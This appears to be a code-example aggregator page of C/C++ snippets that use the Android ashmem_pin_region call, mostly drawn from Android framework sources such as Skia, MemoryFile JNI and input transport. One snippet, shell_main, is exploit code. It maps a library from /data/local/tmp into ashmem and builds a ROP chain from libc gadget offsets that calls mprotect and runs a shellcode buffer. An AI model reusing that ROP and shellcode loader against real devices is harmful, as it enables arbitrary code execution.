Exemple #1
0
bool SkImageRef_ashmem::onNewLockPixels(LockRec* rec) {
    SkASSERT(fBitmap.getPixels() == NULL);
    SkASSERT(fBitmap.getColorTable() == NULL);

    // fast case: check if we can just pin and get the cached data
    if (-1 != fRec.fFD) {
        SkASSERT(fRec.fAddr);
        SkASSERT(!fRec.fPinned);
        int pin = ashmem_pin_region(fRec.fFD, 0, 0);

        if (ASHMEM_NOT_PURGED == pin) { // yea, fast case!
            fBitmap.setPixels(fRec.fAddr, fCT);
            fRec.fPinned = true;
        } else if (ASHMEM_WAS_PURGED == pin) {
            ashmem_unpin_region(fRec.fFD, 0, 0);
            // let go of our colortable if we lost the pixels. Well get it back
            // again when we re-decode
            if (fCT) {
                fCT->unref();
                fCT = NULL;
            }
#if defined(DUMP_ASHMEM_LIFECYCLE) || defined(TRACE_ASH_PURGE)
            SkDebugf("===== ashmem purged %d\n", fBitmap.getSize());
#endif
        } else {
            SkDebugf("===== ashmem pin_region(%d) returned %d\n", fRec.fFD, pin);
            return false;
        }
    } else {
        // no FD, will create an ashmem region in allocator
    }

    return this->INHERITED::onNewLockPixels(rec);
}
void shell_main(){

    dlopen_t dlopen_f = (dlopen_t)getProcAddr(NULL,"dlopen");
    dlsym_t dlsym_f = (dlsym_t)getProcAddr(NULL,"dlsym");

    const char *so_name = "/data/local/tmp/testso.so";
    char *code = (char*)get_so_buffer(so_name); 
    int ashmem_len = *(int*)code;
    int fd_memory = ashmem_create_region("shmem", ashmem_len);
    ashmem_pin_region(fd_memory, 0, 0);
    uint8_t *shm = (uint8_t*)mmap(NULL, ashmem_len, PROT_READ | PROT_WRITE, MAP_SHARED, fd_memory, 0);
    printf("first map address is %p\n",shm);
    memcpy(shm,code,ashmem_len);
    free(code);
    //ashmem_unpin_region(fd_memory, 0, 0);

    int pos[32]={12,2,12,fd_memory};
    //shellcode(dlopen_f,pos);
    uint32_t libcbase = (uint32_t)getModuleBase("libc.so");
    uint32_t mprotect_address = (uint32_t)getProcAddr("libc.so","mprotect");
    uint32_t len = 0;
    void *buffer = get_shellcode(&len);
    uint32_t ropData[29]={libcbase+0x15056+1,1+libcbase+0x4c8ee,0xdeaddead,0xdeaddead,(uint32_t)buffer&0xfffff000,4096,0x7,(uint32_t)mprotect_address,(uint32_t)dlopen_f,(uint32_t)pos,2,(uint32_t)buffer+1};
    //uint32_t ropData[29]={libcbase+0x15056+1,1+libcbase+0x4c8ee,0xdeaddead,0xdeaddead,(uint32_t)buffer&0xfffff000,4096,0x7,(uint32_t)mprotect_address,(uint32_t)dlopen_f,1,2,(uint32_t)shellcode};
    asmm_test((uint32_t)ropData);
    free(buffer);
    exit(-1);
}
static void android_os_MemoryFile_pin(JNIEnv* env, jobject clazz, jobject fileDescriptor, jboolean pin)
{
    int fd = jniGetFDFromFileDescriptor(env, fileDescriptor);
    int result = (pin ? ashmem_pin_region(fd, 0, 0) : ashmem_unpin_region(fd, 0, 0));
    if (result < 0) {
        jniThrowException(env, "java/io/IOException", NULL);
    }
}
int ashmem_write_bytes(int fd, unsigned int *address, unsigned char *buffer, int src_offset, int dest_offset, int count)
{
	if (ashmem_pin_region(fd, 0, 0) == ASHMEM_WAS_PURGED)
	{
		printf("ashmem was purged\n");
		return -1;
	}

	memcpy((unsigned char *)address + dest_offset, buffer + src_offset, count);

	return count;
}
int ashmem_read_bytes(int fd, unsigned int *address, unsigned char *buffer, int src_offset, int dest_offset, int count)
{
	if (ashmem_pin_region(fd, 0, 0) == ASHMEM_WAS_PURGED)
	{
		printf("ashmem was purged\n");
		return -1;
	}
	printf("%s: address=0x%x, buffer=0x%x\n", __FUNCTION__,  (unsigned int)address, (unsigned int)buffer);
	memcpy(buffer + src_offset, (unsigned char *)address + dest_offset, count);
	
	return count;
}
Exemple #6
0
    virtual bool allocPixelRef(SkBitmap* bm, SkColorTable* ct) {
        const size_t size = roundToPageSize(bm->getSize());
        int fd = fRec->fFD;
        void* addr = fRec->fAddr;

        SkASSERT(!fRec->fPinned);

        if (-1 == fd) {
            SkASSERT(NULL == addr);
            SkASSERT(0 == fRec->fSize);

            fd = ashmem_create_region(fName, size);
#ifdef DUMP_ASHMEM_LIFECYCLE
            SkDebugf("=== ashmem_create_region %s size=%d fd=%d\n", fName, size, fd);
#endif
            if (-1 == fd) {
                SkDebugf("------- imageref_ashmem create failed <%s> %d\n",
                         fName, size);
                return false;
            }

            int err = ashmem_set_prot_region(fd, PROT_READ | PROT_WRITE);
            if (err) {
                SkDebugf("------ ashmem_set_prot_region(%d) failed %d\n",
                         fd, err);
                close(fd);
                return false;
            }

            addr = mmap(NULL, size, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0);
            if (-1 == (long)addr) {
                SkDebugf("---------- mmap failed for imageref_ashmem size=%d\n",
                         size);
                close(fd);
                return false;
            }

            fRec->fFD = fd;
            fRec->fAddr = addr;
            fRec->fSize = size;
        } else {
            SkASSERT(addr);
            SkASSERT(size == fRec->fSize);
            (void)ashmem_pin_region(fd, 0, 0);
        }

        bm->setPixels(addr, ct);
        fRec->fPinned = true;
        return true;
    }
static void android_util_MemoryIntArray_set(JNIEnv* env, jobject clazz,
        jint fd, jlong address, jint index, jint newValue, jboolean owner)
{
    if (fd < 0) {
        jniThrowException(env, "java/io/IOException", "bad file descriptor");
        return;
    }

    if (ashmem_pin_region(fd, 0, 0) == ASHMEM_WAS_PURGED) {
        jniThrowException(env, "java/io/IOException", "ashmem region was purged");
        return;
    }

    std::atomic_int* value = reinterpret_cast<std::atomic_int*>(address) + index;
    value->store(newValue, std::memory_order_relaxed);
}
static jint android_os_MemoryFile_write(JNIEnv* env, jobject clazz,
        jobject fileDescriptor, jint address, jbyteArray buffer, jint srcOffset, jint destOffset,
        jint count, jboolean unpinned)
{
    int fd = jniGetFDFromFileDescriptor(env, fileDescriptor);
    if (unpinned && ashmem_pin_region(fd, 0, 0) == ASHMEM_WAS_PURGED) {
        ashmem_unpin_region(fd, 0, 0);
        jniThrowException(env, "java/io/IOException", "ashmem region was purged");
        return -1;
    }

    env->GetByteArrayRegion(buffer, srcOffset, count, (jbyte *)address + destOffset);

    if (unpinned) {
        ashmem_unpin_region(fd, 0, 0);
    }
    return count;
}
status_t InputPublisher::publishInputEvent(
        int32_t type,
        int32_t deviceId,
        int32_t source) {
    if (mPinned) {
        ALOGE("channel '%s' publisher ~ Attempted to publish a new event but publisher has "
                "not yet been reset.", mChannel->getName().string());
        return INVALID_OPERATION;
    }

    // Pin the region.
    // We do not check for ASHMEM_NOT_PURGED because we don't care about the previous
    // contents of the buffer so it does not matter whether it was purged in the meantime.
    int ashmemFd = mChannel->getAshmemFd();
    int result = ashmem_pin_region(ashmemFd, 0, 0);
    if (result < 0) {
        ALOGE("channel '%s' publisher ~ Error %d pinning ashmem fd %d.",
                mChannel->getName().string(), result, ashmemFd);
        return UNKNOWN_ERROR;
    }

    mPinned = true;

    result = sem_init(& mSharedMessage->semaphore, 1, 1);
    if (result < 0) {
        ALOGE("channel '%s' publisher ~ Error %d in sem_init.",
                mChannel->getName().string(), errno);
        return UNKNOWN_ERROR;
    }

    mSemaphoreInitialized = true;

    mSharedMessage->consumed = false;
    mSharedMessage->type = type;
    mSharedMessage->deviceId = deviceId;
    mSharedMessage->source = source;
    return OK;
}
status_t InputConsumer::consume(InputEventFactoryInterface* factory, InputEvent** outEvent) {
#if DEBUG_TRANSPORT_ACTIONS
    ALOGD("channel '%s' consumer ~ consume",
            mChannel->getName().string());
#endif

    *outEvent = NULL;

    int ashmemFd = mChannel->getAshmemFd();
    int result = ashmem_pin_region(ashmemFd, 0, 0);
    if (result != ASHMEM_NOT_PURGED) {
        if (result == ASHMEM_WAS_PURGED) {
            ALOGE("channel '%s' consumer ~ Error %d pinning ashmem fd %d because it was purged "
                    "which probably indicates that the publisher and consumer are out of sync.",
                    mChannel->getName().string(), result, ashmemFd);
            return INVALID_OPERATION;
        }

        ALOGE("channel '%s' consumer ~ Error %d pinning ashmem fd %d.",
                mChannel->getName().string(), result, ashmemFd);
        return UNKNOWN_ERROR;
    }

    if (mSharedMessage->consumed) {
        ALOGE("channel '%s' consumer ~ The current message has already been consumed.",
                mChannel->getName().string());
        return INVALID_OPERATION;
    }

    // Acquire but *never release* the semaphore.  Contention on the semaphore is used to signal
    // to the publisher that the message has been consumed (or is in the process of being
    // consumed).  Eventually the publisher will reinitialize the semaphore for the next message.
    result = sem_wait(& mSharedMessage->semaphore);
    if (result < 0) {
        ALOGE("channel '%s' consumer ~ Error %d in sem_wait.",
                mChannel->getName().string(), errno);
        return UNKNOWN_ERROR;
    }

    mSharedMessage->consumed = true;

    switch (mSharedMessage->type) {
    case AINPUT_EVENT_TYPE_KEY: {
        KeyEvent* keyEvent = factory->createKeyEvent();
        if (! keyEvent) return NO_MEMORY;

        populateKeyEvent(keyEvent);

        *outEvent = keyEvent;
        break;
    }

    case AINPUT_EVENT_TYPE_MOTION: {
        MotionEvent* motionEvent = factory->createMotionEvent();
        if (! motionEvent) return NO_MEMORY;

        populateMotionEvent(motionEvent);

        *outEvent = motionEvent;
        break;
    }

    default:
        ALOGE("channel '%s' consumer ~ Received message of unknown type %d",
                mChannel->getName().string(), mSharedMessage->type);
        return UNKNOWN_ERROR;
    }

    return OK;
}